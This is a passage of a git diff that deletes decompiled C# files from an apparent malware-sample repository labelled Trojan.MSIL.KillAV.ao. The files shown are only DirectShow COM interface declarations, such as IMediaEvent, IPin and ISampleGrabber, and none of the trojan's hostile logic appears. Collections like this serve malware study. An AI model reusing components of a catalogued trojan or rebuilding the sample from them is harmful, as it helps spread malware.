AddSourceFilter([In] string strFilename, [MarshalAs(UnmanagedType.IDispatch)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_FilterCollection([MarshalAs(UnmanagedType.IDispatch)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_RegFilterCollection([MarshalAs(UnmanagedType.IDispatch)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int StopWhenReady(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEvent.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEvent.cs deleted file mode 100644 index 5248d4af..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEvent.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaEvent -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a868b6-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IMediaEvent - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEventHandle(out IntPtr hEvent); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEvent(out DsEvCode lEventCode, out int lParam1, out int lParam2, int msTimeout); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForCompletion(int msTimeout, out int pEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CancelDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RestoreDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FreeEventParams(DsEvCode lEvCode, int lParam1, int lParam2); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEventEx.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEventEx.cs deleted file mode 100644 index 076d2f25..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEventEx.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaEventEx -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComVisible(true)] - [Guid("56a868c0-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IMediaEventEx - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEventHandle(out IntPtr hEvent); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetEvent(out DsEvCode lEventCode, out int lParam1, out int lParam2, int msTimeout); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForCompletion(int msTimeout, out int pEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CancelDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RestoreDefaultHandling(int lEvCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FreeEventParams(DsEvCode lEvCode, int lParam1, int lParam2); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNotifyWindow(IntPtr hwnd, int lMsg, IntPtr lInstanceData); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNotifyFlags(int lNoNotifyFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNotifyFlags(out int lplNoNotifyFlags); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaFilter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaFilter.cs deleted file mode 100644 index 08729449..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaFilter.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaFilter -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a86899-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IMediaFilter - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Run(long tStart); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(int dwMilliSecsTimeout, out int filtState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSyncSource([In] IReferenceClock pClock); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSyncSource(out IReferenceClock pClock); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaPosition.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaPosition.cs deleted file mode 100644 index 34e4ff24..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaPosition.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaPosition -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("56a868b2-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComVisible(true)] - [ComImport] - public interface IMediaPosition - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Duration(out double pLength); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_CurrentPosition(double llTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CurrentPosition(out double pllTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_StopTime(out double pllTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_StopTime(double llTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_PrerollTime(out double pllTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_PrerollTime(double llTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Rate(double dRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Rate(out double pdRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanSeekForward(out int pCanSeekForward); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanSeekBackward(out int pCanSeekBackward); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSample.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSample.cs deleted file mode 100644 index d3dd00a2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSample.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaSample -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("56a8689a-0ad4-11ce-b03a-0020af0ba770")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IMediaSample - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPointer(out IntPtr ppBuffer); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSize(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTime(out long pTimeStart, out long pTimeEnd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetTime([MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeStart, [MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeEnd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsSyncPoint(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSyncPoint([MarshalAs(UnmanagedType.Bool), In] bool bIsSyncPoint); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsPreroll(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetPreroll([MarshalAs(UnmanagedType.Bool), In] bool bIsPreroll); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetActualDataLength(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetActualDataLength(int len); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMediaType([MarshalAs(UnmanagedType.LPStruct)] out AMMediaType ppMediaType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMediaType([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pMediaType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsDiscontinuity(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDiscontinuity([MarshalAs(UnmanagedType.Bool), In] bool bDiscontinuity); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMediaTime(out long pTimeStart, out long pTimeEnd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMediaTime([MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeStart, [MarshalAs(UnmanagedType.LPStruct), In] DsOptInt64 pTimeEnd); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSeeking.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSeeking.cs deleted file mode 100644 index f571ff4b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSeeking.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaSeeking -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("36b73880-c2c8-11cf-8b46-00805f6cef60")] - [ComVisible(true)] - [ComImport] - public interface IMediaSeeking - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCapabilities(out SeekingCapabilities pCapabilities); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CheckCapabilities([In, Out] ref SeekingCapabilities pCapabilities); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsFormatSupported([In] ref Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryPreferredFormat(out Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTimeFormat(out Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsUsingTimeFormat([In] ref Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetTimeFormat([In] ref Guid pFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDuration(out long pDuration); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetStopPosition(out long pStop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentPosition(out long pCurrent); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConvertTimeFormat( - out long pTarget, - [In] ref Guid pTargetFormat, - long Source, - [In] ref Guid pSourceFormat); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetPositions( - [MarshalAs(UnmanagedType.LPStruct), In, Out] DsOptInt64 pCurrent, - SeekingFlags dwCurrentFlags, - [MarshalAs(UnmanagedType.LPStruct), In, Out] DsOptInt64 pStop, - SeekingFlags dwStopFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPositions(out long pCurrent, out long pStop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAvailable(out long pEarliest, out long pLatest); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRate(double dRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRate(out double pdRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPreroll(out long pllPreroll); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersist.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersist.cs deleted file mode 100644 index bfef44f2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersist.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IPersist -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("0000010c-0000-0000-C000-000000000046")] - [ComImport] - public interface IPersist - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersistStream.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersistStream.cs deleted file mode 100644 index bf8ad6eb..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersistStream.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IPersistStream -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("0000010c-0000-0000-C000-000000000046")] - [ComImport] - public interface IPersistStream - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPin.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPin.cs deleted file mode 100644 index 2658311c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPin.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IPin -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("56a86891-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IPin - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Connect([In] IPin pReceivePin, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ReceiveConnection([In] IPin pReceivePin, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Disconnect(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectedTo(out IPin ppPin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectionMediaType([MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryPinInfo(out PinInfo pInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryDirection(out PinDirection pPinDir); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryId([MarshalAs(UnmanagedType.LPWStr)] out string Id); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryAccept([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumMediaTypes(IntPtr ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryInternalConnections(IntPtr apPin, [In, Out] ref int nPin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EndOfStream(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BeginFlush(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EndFlush(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int NewSegment(long tStart, long tStop, double dRate); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IReferenceClock.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IReferenceClock.cs deleted file mode 100644 index 0acf15cf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IReferenceClock.cs +++ /dev/null @@ -1,35 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IReferenceClock -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a86897-0ad4-11ce-b03a-0020af0ba770")] - [ComVisible(true)] - [ComImport] - public interface IReferenceClock - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTime(out long pTime); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AdviseTime(long baseTime, long streamTime, IntPtr hEvent, out int pdwAdviseCookie); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AdvisePeriodic( - long startTime, - long periodTime, - IntPtr hSemaphore, - out int pdwAdviseCookie); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Unadvise(int dwAdviseCookie); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabber.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabber.cs deleted file mode 100644 index f5fa9bf3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabber.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ISampleGrabber -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("6B652FFF-11FE-4fce-92AD-0266B5D7C78F")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface ISampleGrabber - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetOneShot([MarshalAs(UnmanagedType.Bool), In] bool OneShot); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMediaType([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetConnectedMediaType([MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetBufferSamples([MarshalAs(UnmanagedType.Bool), In] bool BufferThem); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentBuffer(ref int pBufferSize, IntPtr pBuffer); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentSample(IntPtr ppSample); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetCallback(ISampleGrabberCB pCallback, int WhichMethodToCallback); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabberCB.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabberCB.cs deleted file mode 100644 index 23a3fb76..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabberCB.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ISampleGrabberCB -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("0579154A-2B53-4994-B0D0-E773148EFF85")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface ISampleGrabberCB - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SampleCB(double SampleTime, IMediaSample pSample); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BufferCB(double SampleTime, IntPtr pBuffer, int BufferLen); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISpecifyPropertyPages.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISpecifyPropertyPages.cs deleted file mode 100644 index 06a19c71..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISpecifyPropertyPages.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ISpecifyPropertyPages -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("B196B28B-BAB4-101A-B69C-00AA00341D07")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface ISpecifyPropertyPages - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPages(out DsCAUUID pPages); - } -} diff --git 